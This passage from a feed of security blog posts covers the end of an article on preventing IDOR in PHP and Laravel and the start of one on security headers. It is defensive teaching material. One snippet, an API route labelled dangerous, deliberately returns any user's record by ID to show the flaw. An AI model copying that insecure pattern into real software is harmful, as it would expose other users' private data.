        &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'orders.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'order'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Using policies:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Policies/OrderPolicy.php&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;OrderPolicy&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Order&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Order&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Order&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Order&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'view'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'orders.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'order'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Scoped queries the strongest approach:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This can never return another user's order&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;orders&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findOrFail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'orders.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'order'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query is scoped to the authenticated user before the ID lookup. &lt;code&gt;findOrFail()&lt;/code&gt; returns a 404 automatically if no matching record is found for this user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoped route model binding:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/users/{user}/orders/{order}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;OrderController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'show'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;scopeBindings&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Laravel scopes the &lt;code&gt;{order}&lt;/code&gt; binding through the parent &lt;code&gt;{user}&lt;/code&gt; relationship automatically no manual ownership check needed in the controller.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File downloads in Laravel:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$invoice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;invoices&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findOrFail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nc"&gt;Storage&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;disk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'local'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;download&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nf"&gt;storage_path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'app/invoices/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="s1"&gt;'invoice.pdf'&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  API Endpoints and IDOR
&lt;/h2&gt;

&lt;p&gt;API endpoints are where IDOR is most commonly forgotten:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — any authenticated user can access any user's data&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/api/users/{id}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — scoped to authenticated user&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/api/profile'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — ownership check for specific resources&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/api/orders/{id}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;orders&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findOrFail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$order&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Being authenticated via Sanctum does not mean the user is authorized to access every resource. The ownership check is required on every API endpoint that returns user-specific data.&lt;/p&gt;

&lt;h2&gt;
  
  
  The IDOR Prevention Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never fetch a resource using only a user-supplied ID&lt;/li&gt;
&lt;li&gt;Always include the authenticated user's ID in every ownership-sensitive query&lt;/li&gt;
&lt;li&gt;Return 404 not 403 when revealing resource existence would leak sensitive information&lt;/li&gt;
&lt;li&gt;Use non-sequential identifiers from a trusted UUID library as an additional layer — not as a substitute for authorization&lt;/li&gt;
&lt;li&gt;Never construct file paths from user-supplied filenames fetch filenames from the database after ownership verification&lt;/li&gt;
&lt;li&gt;Apply ownership checks to every endpoint &lt;strong&gt;GET, POST, PUT, DELETE,&lt;/strong&gt; and file downloads&lt;/li&gt;
&lt;li&gt;Apply the same rules to API endpoints as to web endpoints&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use scoped queries &lt;code&gt;auth()-&amp;gt;user()-&amp;gt;orders()-&amp;gt;findOrFail($id)&lt;/code&gt; as the default pattern&lt;/li&gt;
&lt;li&gt;Use policies for complex authorization logic&lt;/li&gt;
&lt;li&gt;Use scoped route model binding for nested resources&lt;/li&gt;
&lt;li&gt;Never use &lt;code&gt;Model::find($id)&lt;/code&gt; without an ownership check for user-specific resources&lt;/li&gt;
&lt;li&gt;Apply the same authorization rules to API routes as web routes&lt;/li&gt;
&lt;li&gt;Return &lt;code&gt;abort(404)&lt;/code&gt; when ownership verification fails&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Where Kriosa Fits
&lt;/h2&gt;

&lt;p&gt;Authorization controls prevent unauthorized access. They do not tell you when someone is systematically probing for authorization gaps.&lt;/p&gt;

&lt;p&gt;Kriosa complements these controls by monitoring incoming request patterns for behavioral signals such as repeated resource enumeration and unusual access patterns. When detected those signals are surfaced in the security dashboard alongside the request context giving you visibility into what is happening before a breach occurs.&lt;/p&gt;

&lt;p&gt;A single failed request to &lt;code&gt;/orders/1043&lt;/code&gt; may be a typo. Hundreds of sequential requests across incrementing order IDs from the same authenticated session is a pattern worth investigating. Authorization alone cannot surface that distinction. Behavioral monitoring can.&lt;/p&gt;

&lt;p&gt;In production applications like &lt;br&gt;
&lt;a href="https://prooflify.freedev.app" rel="noopener noreferrer"&gt;Prolify&lt;/a&gt; where each client session is a trust boundary and client work must never cross between accounts and &lt;br&gt;
&lt;a href="https://bellefull.kesug.com" rel="noopener noreferrer"&gt;Belle-Full&lt;/a&gt; where customer order data belongs to specific users these two layers work together. Authorization controls prevent breaches. Behavioral monitoring surfaces the probing that precedes them.&lt;/p&gt;

&lt;p&gt;Prevention stops the breach. Detection tells you someone is looking for one.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="https://kriosa.com/documentation.php" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sleep better — we're awake. Kriosa.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=php-logs-sql-injection-attack-6a5fa71fd80b8" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=url-encoding-breaks-php-security-checks" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=decode-bomb-url-decoding-vulnerability" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=parameterized-queries-sql-injection-prevention" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=file-upload-security-in-php-and-laravel-the-file-that-isn-t-what-it-claims-to-be" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=path-traversal-php-directory-escape" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=command-injection-php-exec-attack-surface" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=broken-access-control-laravel" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=secrets-management-laravel-env" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=session-security-php-developers-get-wrong" rel="noopener noreferrer"&gt;Article 12&lt;/a&gt;: Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=rate-limiting-laravel-php-brute-force" rel="noopener noreferrer"&gt;Article 13&lt;/a&gt;: Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;li&gt;Article 14: Security headers in PHP and Laravel — the lines that harden every response&lt;/li&gt;
&lt;li&gt;Article 15: This article — IDOR in PHP and Laravel and when changing one number exposes someone else's data&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>webdev</category>
      <category>security</category>
      <category>laravel</category>
    </item>
    <item>
      <title>Security Headers in PHP and Laravel — The Lines That Harden Every Response</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 18 Aug 2026 07:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/security-headers-in-php-and-laravel-the-lines-that-harden-every-response-abc</link>
      <guid>https://dev.to/kriosa/security-headers-in-php-and-laravel-the-lines-that-harden-every-response-abc</guid>
      <description>&lt;p&gt;&lt;strong&gt;ORIGINALLY POSTED ON KRIOSA&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the fourteenth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Most vulnerabilities in this series require changes to your business logic. Security headers are different. They require no changes to your application code. A carefully designed security-header policy applied through middleware or web server configuration hardens how the browser handles your responses while individual headers may be relevant only to certain response types.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Security Headers Are
&lt;/h2&gt;

&lt;p&gt;Every HTTP response your server sends includes headers metadata that travels alongside the content. Security headers tell the browser how to behave securely when handling your application's content.&lt;/p&gt;

&lt;p&gt;When your server sends them the browser follows their instructions. An attacker who successfully injects a malicious script may find the browser refuses to execute it because it violates the Content Security Policy. An attacker attempting clickjacking may find the browser refuses to render your page inside their iframe. An attacker intercepting an HTTP connection may find the browser refuses to downgrade from HTTPS.&lt;/p&gt;

&lt;p&gt;Security headers do not fix vulnerabilities in your code. They raise the cost of exploiting them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Header 1 — Content-Security-Policy
&lt;/h2&gt;

&lt;p&gt;CSP is the most powerful security header and the most complex to configure correctly.&lt;/p&gt;

&lt;p&gt;CSP tells the browser exactly which sources of content are allowed to load on your page. Scripts, stylesheets, images, fonts, frames everything. If a source is not on the approved list the browser refuses to load it.&lt;/p&gt;

&lt;p&gt;This directly reduces the impact of XSS attacks. Even if an attacker successfully injects a script tag, if the source is not in your CSP the browser will not execute it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A starting point:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; base-uri 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking this down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;default-src 'self'&lt;/code&gt; — only load content from your own domain by default&lt;/li&gt;
&lt;li&gt;
